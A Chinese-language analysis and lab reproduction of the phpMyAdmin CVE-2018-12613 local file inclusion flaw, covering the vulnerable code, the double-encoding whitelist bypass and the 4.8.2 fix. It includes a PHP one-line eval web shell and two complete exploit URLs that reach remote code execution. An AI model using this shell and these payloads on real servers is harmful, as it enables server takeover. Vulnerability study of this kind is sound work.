CVE-2018-12613 phpMyAdmin 本地文件包含漏洞分析与复现
漏洞概述
CVE-2018-12613 是 phpMyAdmin 4.8.x 系列(4.8.2 之前版本)中存在的一个本地文件包含漏洞。phpMyAdmin 是一个基于 Web 的 MySQL 数据库管理工具,能够创建和删除数据库,管理数据库表,执行 SQL 命令等。
该漏洞允许攻击者在后台进行任意的文件包含,可能导致远程代码执行(RCE),最终完全控制运行 phpMyAdmin 的服务器。
影响版本
- phpMyAdmin 4.8.0
- phpMyAdmin 4.8.0.1
- phpMyAdmin 4.8.1
漏洞原理
本地文件包含(LFI)
本地文件包含是指当服务器开启 allow_url_include 选项时,可以通过 PHP 的特性函数(如 include()、require()、include_once()、require_once())利用 URL 动态包含文件。如果对文件来源没有严格审查,就会导致任意文件读取或任意命令执行。
漏洞位置
漏洞出现在 index.php 文件中,关键代码如下:
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
要执行文件包含,必须满足以下5个条件:
! empty($_REQUEST['target'])- target 参数不为空is_string($_REQUEST['target'])- target 参数是字符串! preg_match('/^index/', $_REQUEST['target'])- target 不以 "index" 开头! in_array($_REQUEST['target'], $target_blacklist)- target 不在黑名单中(黑名单包含 import.php 和 export.php)Core::checkPageValidity($_REQUEST['target'])- 通过白名单检查
checkPageValidity 函数分析
checkPageValidity 函数的关键代码如下:
public static function checkPageValidity(&$page, array $whitelist = []) {
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr($page, 0, mb_strpos($page, '?'));
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr($_page, 0, mb_strpos($_page, '?'));
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
该函数会进行三次检查:
- 直接检查完整路径是否在白名单中
- 检查问号(?)前的部分是否在白名单中
- 对路径进行 URL 解码后,再检查问号前的部分是否在白名单中
漏洞复现
方法一:利用数据库文件创建 shell
-
登录 phpMyAdmin,在 demo 数据库新建一个数据表,字段为一句话木马:
<?php @eval($_GET['s']);?> -
查询生成文件的绝对路径:
show variables like '%datadir%'; -
在数据目录(如
D:\phpstudy_pro\Extensions\MySQL5.7.26\data\)查看生成的.frm文件,确认 shell 已写入 -
利用本地文件包含漏洞执行 RCE,payload 如下(根据实际目录调整层级):
http://localhost:84/phpmyadmin/index.php?target=db_sql.php%253f/Extensions/MySQL5.7.26/data/demo/shell.frm&s=phpinfo();
方法二:利用 session 文件创建 shell
-
执行 SQL 语句查看 session 文件(注意 cookie 中 phpMyAdmin 的值):
<?php @eval($_GET['s']);?> -
在 tmp 目录中搜索对应的 session 文件(如
26rsjd2sd6ih3n8iluuepgorun515r9j),确认包含恶意代码 -
利用本地文件包含漏洞执行 RCE,payload 如下:
http://localhost:84/phpmyadmin/index.php?target=db_sql.php%253f/Extensions/tmp/tmp/sess_kir14uhqhshe8smr1njvphr5slmso84o&s=phpinfo();
漏洞利用原理
Payload 构造分析
关键 payload 格式:
target=db_sql.php%253f/../path/to/file
- 服务器第一次 URL 解码:
%253f→%3f(即?) checkPageValidity函数处理:- 直接检查
db_sql.php%3f/../path/to/file→ 不匹配 - 检查
db_sql.php%3f(去掉/../path/to/file)→ 不匹配 - URL 解码后检查
db_sql.php?(去掉/../path/to/file)→db_sql.php在白名单中,返回 true
- 直接检查
- 最终执行
include "db_sql.php?/../path/to/file",由于 PHP 的文件系统包装器会忽略问号后的内容,实际包含的是path/to/file
为什么需要双重编码
- 直接使用
?会被checkPageValidity函数在第一次检查时截断,导致路径检查失败 - 使用
%3f可以绕过第一次检查,但在include时仍会被识别为问号 - 使用
%253f:- 服务器第一次解码:
%253f→%3f checkPageValidity函数第二次解码:%3f→?- 这样既绕过了白名单检查,又能在
include时正确解析路径
- 服务器第一次解码:
修复方案
phpMyAdmin 4.8.2 版本修复了该漏洞,主要修改:
-
修改
index.php中调用checkPageValidity的方式:Core::checkPageValidity($_REQUEST['target'], [], true)新增了两个参数:空数组和
true -
checkPageValidity函数新增逻辑:if ($include) { return false; }当
$include为true时直接返回false,阻止文件包含执行
总结
CVE-2018-12613 漏洞的核心在于:
index.php中存在未充分验证的文件包含逻辑checkPageValidity函数的白名单检查可以被双重 URL 编码绕过- 攻击者可以利用此漏洞包含任意文件,包括恶意构造的 session 文件或数据库文件,最终实现远程代码执行
修复建议:
- 立即升级到 phpMyAdmin 4.8.2 或更高版本
- 限制 phpMyAdmin 的访问权限
- 禁用不必要的 PHP 危险函数